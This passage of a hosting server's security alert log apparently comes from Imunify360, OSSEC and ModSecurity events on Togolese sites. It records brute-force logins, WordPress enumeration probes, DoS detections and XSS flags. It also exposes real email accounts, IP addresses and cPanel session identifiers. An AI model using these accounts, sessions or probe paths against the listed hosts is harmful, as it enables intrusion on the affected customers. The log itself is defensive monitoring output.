/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.19.50.202
country_id: 2017370
description:
2026-07-01 13:47:16 dovecot_plain authenticator failed for H=(6qjn7imltjj2k9pt) [195.19.50.202]:59533: 535 Incorrect authentication data (set_id=supports@mesyscom.com)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 107.175.213.192
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 107.175.213.192: 80 connections per 30 seconds to 80 port.


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.42.245.112
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:193.42.245.112||TA:193.42.245.112||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 72.205.0.93
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:13-52.72.205.0.93||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.162.199
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>l'administration publique togolaise entame une profonde cure de moralisation. dans une dynamique de modernisation et de transparence, l\xe2\x80\x99\xc3\x89tat vient de franchir un cap d\xc3\xa9cisif dans la lutte contre les pratiques frauduleuses qui minent l'efficacit\xc3\xa9 des services publics.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la sentence est tomb\xc3\xa9e : 45 fonctionnaires ont \xc3\xa9t\xc3\xa9 officiellement licenci\xc3\xa9s pour des affaires de fraude, de complicit\xc3\xa9 de fraude et d'usage de faux dipl\xc3\xb4mes. une d\xc3\xa9cision forte qui marque un tournant historique dans la gestion des ressources humaines de l'\xc3\x89tat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>des sanctions exemplaires et une exclusion d\xc3\xa9finitive</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ces licenciements ne sont pas le fruit du hasard, mais le r\xc3\xa9sultat d'enqu\xc3\xaates et de v\xc3\xa9rifications approfondies men\xc3\xa9es par les autorit\xc3\xa9s comp\xc3\xa9tentes. les irr\xc3\xa9gularit\xc3\xa9s mises au jour ont conduit \xc3\xa0 des sanctions sans pr\xc3\xa9c\xc3\xa9dent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31769,\"sizeslug\":\"full\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/07/otr_ferer-pour-batir-1.jpg\" alt=\"\" class=\"wp-image-31769\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>il s\xe2\x80\x99agit d\xe2\x80\x99abord, d\xe2\x80\x99une rupture imm\xc3\xa9diate du contrat, un licenciement sec des 45 agents incrimin\xc3\xa9s. ensuite, une exclusion d\xc3\xa9finitive avec une interdiction stricte et d\xc3\xa9finitive de postuler ou d'\xc3\xaatre int\xc3\xa9gr\xc3\xa9 \xc3\xa0 tout futur recrutement dans la fonction publique togolaise. et enfin, la poursuite judiciaire avec des ex-agents qui restent expos\xc3\xa9s \xc3\xa0 des proc\xc3\xa9dures p\xc3\xa9nales devant les tribunaux pour faux et usage de faux.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>notons qu\xe2\x80\x99au-del\xc3\xa0 de la sanction administrative, c'est un message clair envoy\xc3\xa9 \xc3\xa0 tous : l'acc\xc3\xa8s et le maintien au sein de l'appareil \xc3\xa9tatique reposent d\xc3\xa9sormais exclusivement sur le <strong>m\xc3\xa9rite</strong>, les comp\xc3\xa9tences r\xc3\xa9elles et le strict respect des r\xc3\xa8gles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>restaurer la confiance des citoyens et valoriser le m\xc3\xa9rite</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pendant trop longtemps, la fraude aux dipl\xc3\xb4mes a biais\xc3\xa9 l'\xc3\xa9quit\xc3\xa9 des concours professionnels et entach\xc3\xa9 la cr\xc3\xa9dibilit\xc3\xa9 des institutions. par cette fermet\xc3\xa9 affich\xc3\xa9e, le gouvernement togolais affiche une volont\xc3\xa9 politique claire : d\xc3\xa9courager durablement toute tentative de tricherie et assainir les effectifs de l'\xc3\x89tat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31645,\"width\":\"539px\",\"height\":\"auto\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-78.png\" alt=\"\" class=\"wp-image-31645\" style=\"width:539px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>cette op\xc3\xa9ration \"mains propres\" vise avant tout \xc3\xa0 restaurer la confiance des citoyens envers leur administration, tout en garantissant que les postes cl\xc3\xa9s soient occup\xc3\xa9s par des profils qualifi\xc3\xa9s et int\xc3\xa8gres. la fin de l'impunit\xc3\xa9 est d\xc3\xa9sormais act\xc3\xa9e.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>jpb</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em> </em></strong><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.240.57
country_id: 3469034
domain: suivi.pnls.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/suivi.pnls.tg/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.224.206.158
country_id: 3469034
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/event/djama-en-fete-togo-2000 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 190.237.0.95
country_id: 3932488
description:
Jul  1 13:58:24 ns5 pure-ftpd[2501622]: (?@190.237.0.95) [WARNING] Authentication failed for user [crepsad@crepsad.tg]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.237.0.95
country_id: 3932488
description:
2026-07-01 13:59:05 dovecot_plain authenticator failed for H=(Lenovo-JBC) [190.237.0.95]:3742: 535 Incorrect authentication data (set_id=crepsad@crepsad.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.100.52.46
country_id: 6290252
description:
[2026-07-01 13:59:36 +0000] info [whostmgrd] 94.100.52.46 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11321
name: Active Response. FTP brute force attack (Port 21 is protected)
abuser: 190.237.0.95
country_id: 3932488
description:
Jul  1 13:59:18 ns5 pure-ftpd[2501985]: (?@190.237.0.95) [WARNING] Authentication failed for user [crepsad]


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 190.237.0.95
country_id: 3932488
description:
Jul  1 13:59:10 ns5 pure-ftpd[2501930]: (?@190.237.0.95) [WARNING] Authentication failed for user [crepsad@crepsad.tg]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 94.100.52.46
country_id: 6290252
description:
[2026-07-01 13:59:37 +0000] info [whostmgrd] 94.100.52.46 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.170.49.95
country_id: 2363686
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:POST /wp-content/plugins/matomo/app/matomo.php?action_name=Togo: la Direction de la Nationalit\xc3\xa9\xc2\xa0 a officiellement\xc2\xa0 lanc\xc3\xa9\xc2\xa0 sa plateforme digitalis\xc3\xa9e \xe2\x80\x93 Corps Diplomatic News&idsite=1&rec=1&r=707295&h=14&m=0&s=8&url=https:/corpsdiplomaticnews.tg/index.php/2024/12/15/togo-la-direction-de-la-nationalite-a-officiellement-lance-sa-plateforme-digitalisee/#google_vignette&urlref=https:/www.google.com/&_id=ba4930d28973aaad&_idn=0&send_image=0&_refts=1782914408&_ref=https:/www.google.com/&pv_id=DilLOc&pf_net=0&pf_srv=358&pf_tfr=132&uadata={\"formFactors\":[\"Mobile\


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.237.0.95
country_id: 3932488
description:
2026-07-01 14:00:34 dovecot_plain authenticator failed for H=(Lenovo-JBC) [190.237.0.95]:3427: 535 Incorrect authentication data (set_id=crepsad@crepsad.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.1.171
country_id: 690791
description:
Jul  1 14:01:42 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.1.171 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.6.38
country_id: 3469034
description:
Jul  1 14:02:12 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.6.38 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 102.64.218.146
country_id: 2363686
description:
Jul  1 14:03:21 ns5 pure-ftpd[2504483]: (?@102.64.218.146) [INFO] New connection from 102.64.218.146


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 113.169.228.48
country_id: 1562822
description:
113.169.228.48 - - [01/Jul/2026:14:04:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10142820&pdata=https%253A%252F%252Fwww.test.free.netmaster.tg%252Fcgi-bin%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782914652 HTTP/2.0" 302 0 www.test.free.netmaster.tg "https://www.test.free.netmaster.tg/cgi-bin/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:113.169.228.48


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 14:04:34 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:57218: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.245.242.48
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:104.245.242.48||TA:104.245.242.48||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 102.64.218.146
country_id: 2363686
description:
Jul  1 14:07:21 ns5 pure-ftpd[2506353]: (?@102.64.218.146) [INFO] New connection from 102.64.218.146


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.36.117
country_id: 6252001
domain: fdking.free.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fdking.free.netmaster.tg/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.56.88.217
country_id: 2750405
description:
2026-07-01 14:11:48 dovecot_plain authenticator failed for H=(hl0sf58ypjwxbt26elxo9t4ff) [72.56.88.217]:47766: 535 Incorrect authentication data (set_id=supports@mesyscom.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.204
country_id: 1880251
description:
47.128.96.204 - - [01/Jul/2026:14:12:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6998425&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fgrave-accident-de-circulation%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782915155 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/grave-accident-de-circulation/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.204


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.232
country_id: 3469034
description:
Jul  1 14:15:43 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.232 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.111
country_id: 1880251
description:
47.128.121.111 - - [01/Jul/2026:14:15:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9987738&pdata=https%253A%252F%252F24heureinfo.tg%252Fcedeao%252Fpage%252F13%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782915311 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/cedeao/page/13/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.111


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.193.32.118
country_id: 290557
domain: macite.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/macite.tg/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.176.254.197
country_id: 2363686
description:
[2026-07-01 14:17:06 +0000] info [cpaneld] 102.176.254.197 NEW bighostingsnbd:fY5r5svtO6tyLuC9 address=102.176.254.197,app=cpaneld,creator=bighostingsnbd,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.239.105
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1725 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.164.224.218
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1921 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.58.31.209
country_id: 1269750
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=398 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 206.62.141.126
country_id: 3686110
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=871 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.58.121.29
country_id: 614540
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=341 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.208.57.12
country_id: 1168579
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.213.134
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?trk=organization_guest_main-feed-card-text HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.164.218.13
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?cat=54 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.86.52.149
country_id: 6252001
domain: dgdn-togo.tg
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.22||T:APACHE||REQUEST_URI:/test/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 157.22.125.60
country_id: 241170
domain: soena.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:jude@ipayafrica.com.soena.tg||Method:blogger.getUsersBlogs


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 118.67.204.218
country_id: 1831722
description:
[2026-07-01 14:24:52 +0000] info [cpaneld] 118.67.204.218 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 151.245.207.238
country_id: 2635167
domain: dankpen1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:151.245.207.238||TA:151.245.207.238||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 145.223.58.147
country_id: 6252001
domain: dankpen1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:145.223.58.147||TA:145.223.58.147||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.246.22
country_id: 2921044
domain: pnlstogo.pnls.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/pnlstogo.pnls.tg/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 138.124.64.36
country_id: 2658434
description:
2026-07-01 14:30:09 H=([138.124.64.36]) [138.124.64.36]:55634 F=<kambiz.shojaie@elitearia.com> rejected RCPT <contact@sthandling-aero.tg>: The mail server could not deliver mail to contact@sthandling-aero.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.173.173.192
country_id: 1880251
domain: soena.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/product-category/restaurant/osouper/nos-salades/?add-to-cart=3706||QS:add-to-cart=3706||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 91.247.163.205
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:91.247.163.205||TA:91.247.163.205||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.175.107
country_id: 1880251
description:
43.173.175.107 - - [01/Jul/2026:14:32:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7235176&pdata=http%253A%252F%252Fwww.arse.tg%252Ftag%252Fenergies-renouvelables%252Ffeed%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782916348 HTTP/1.1" 404 561 www.arse.tg "http://www.arse.tg/tag/energies-renouvelables/feed/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.175.107


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.55
country_id: 1643084
description:
[2026-07-01 14:32:50 +0000] info [cpaneld] 103.65.237.55 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-07-01 14:32:01 +0000] info [webmaild] 196.171.46.177 - matthieu.awide@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 114.119.139.110
country_id: 1880251
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/jes-2019-les-populations-de-la-kozah-reconnaissent-limpact-de-loperation-dans-la-prefecture-2/<script async src||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.169.14.175
country_id: 2363686
description:
[2026-07-01 14:34:18 +0000] info [webmaild] 196.169.14.175 - rahim.nadaabi@tchambainvest.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.169.14.175
country_id: 2363686
description:
[2026-07-01 14:34:32 +0000] info [cpaneld] 196.169.14.175 NEW waywcbyw:6kj_8tmO5jkO8GLR address=196.169.14.175,app=cpaneld,creator=waywcbyw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - rahim.nadaabi@tchambainvest.tg [07/01/2026:14:35:06 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: rahim.nadaabi@tchambainvest.tg


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.199.133
country_id: 3469034
description:
Jul  1 14:36:31 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.199.133 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.116.202
country_id: 2363686
description:
[2026-07-01 14:36:01 +0000] info [webmaild] 196.170.116.202 - agencekpalime@caissederetraites.tg "GET /cpsess1942618122/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 118.67.204.218
country_id: 1831722
description:
[2026-07-01 14:37:33 +0000] info [cpaneld] 118.67.204.218 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 2.58.56.111
country_id: 2750405
description:
Denial of Service (DoS) attack was discovered from 2.58.56.111: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.52.53.67
country_id: 6252001
description:
[2026-07-01 14:38:25 +0000] info [cpaneld] 108.52.53.67 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.165.178.221
country_id: 6252001
description:
[2026-07-01 14:38:38 +0000] info [cpaneld] 47.165.178.221 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.185.80.235
country_id: 6252001
description:
[2026-07-01 14:38:53 +0000] info [cpaneld] 71.185.80.235 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 2.58.56.111
country_id: 2750405
description:
Denial of Service (DoS) attack was discovered from 2.58.56.111: 86 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 162.230.12.134
country_id: 6252001
description:
[2026-07-01 14:38:33 +0000] info [cpaneld] 162.230.12.134 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 131.241.134.165
country_id: 6252001
description:
[2026-07-01 14:38:42 +0000] info [cpaneld] 131.241.134.165 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.58.240.157
country_id: 6252001
description:
[2026-07-01 14:38:28 +0000] info [cpaneld] 172.58.240.157 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.251.23.90
country_id: 6252001
description:
[2026-07-01 14:38:30 +0000] info [cpaneld] 173.251.23.90 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.162.2.72
country_id: 6252001
description:
[2026-07-01 14:38:36 +0000] info [cpaneld] 174.162.2.72 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 91.230.225.58
country_id: 2635167
domain: matosshop.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/iaxtjfpj/public_html/wp-includes/sodium_compat/src/Compat.php||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 167.253.17.249
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:167.253.17.249||TA:167.253.17.249||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.200.184.172
country_id: 6252001
description:
[2026-07-01 14:38:21 +0000] info [cpaneld] 97.200.184.172 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 91.230.225.59
country_id: 2635167
domain: matosshop.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/iaxtjfpj/public_html/wp-includes/sodium_compat/autoload-php7.php||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.87.92.205
country_id: 6252001
description:
